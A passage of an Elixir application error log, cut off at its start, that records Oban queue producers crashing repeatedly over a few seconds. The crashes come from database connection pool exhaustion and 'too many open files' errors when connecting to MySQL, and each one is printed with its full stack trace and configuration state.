    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:57:04.244855Z], limit: 3, uuid: "ed1aada0-5f44-48c1-b427-cd08ca4ebd40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:04.244861Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253072>, refresh_timer: #Reference<0.2525715032.1121189889.100887>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:57:04.245745Z], limit: 50, uuid: "aebca2e0-5717-4adc-aa0f-3ad857046556", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:04.245750Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100903>, refresh_timer: #Reference<0.2525715032.1121189889.100898>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:57:04.244138Z], limit: 20, uuid: "7fa9522f-a9d4-4d2e-9c67-2bc284ad32b8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:04.244148Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253068>, refresh_timer: #Reference<0.2525715032.1077411843.226337>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:20.438000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:21.492000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:21.754000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:23.979000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:24.903000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:57:16.241816Z], limit: 3, uuid: "52d0a2d0-5d4f-4993-a25c-1aa2b9eb079a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:16.241822Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.226433>, refresh_timer: #Reference<0.2525715032.1077411843.226393>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:28.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:57:16.247368Z], limit: 50, uuid: "d3332cd9-821e-4b48-90db-8fc7d7424c97", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:16.247374Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253585>, refresh_timer: #Reference<0.2525715032.1121189889.100959>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:57:16.240667Z], limit: 5, uuid: "92f8eb06-72bf-45a3-97dd-cf5a27ff1bd5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:16.240674Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253583>, refresh_timer: #Reference<0.2525715032.1077411843.226398>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:57:16.240726Z], limit: 10, uuid: "34812302-540f-43af-a1a6-f317268ad8d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:16.240730Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253582>, refresh_timer: #Reference<0.2525715032.1077411843.226402>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:57:16.240927Z], limit: 5, uuid: "2f5b74d2-e25d-47f7-858e-afc510669c49", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:16.240933Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.253584>, refresh_timer: #Reference<0.2525715032.1077411843.226396>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:28.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:57:16.247822Z], limit: 20, uuid: "a84f28c1-af5e-4cb1-9b3a-7f58735a5c2a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:16.247837Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.226432>, refresh_timer: #Reference<0.2525715032.1077411843.226431>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:31.262000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:34.010000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:34.905000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:39.303000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:40.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
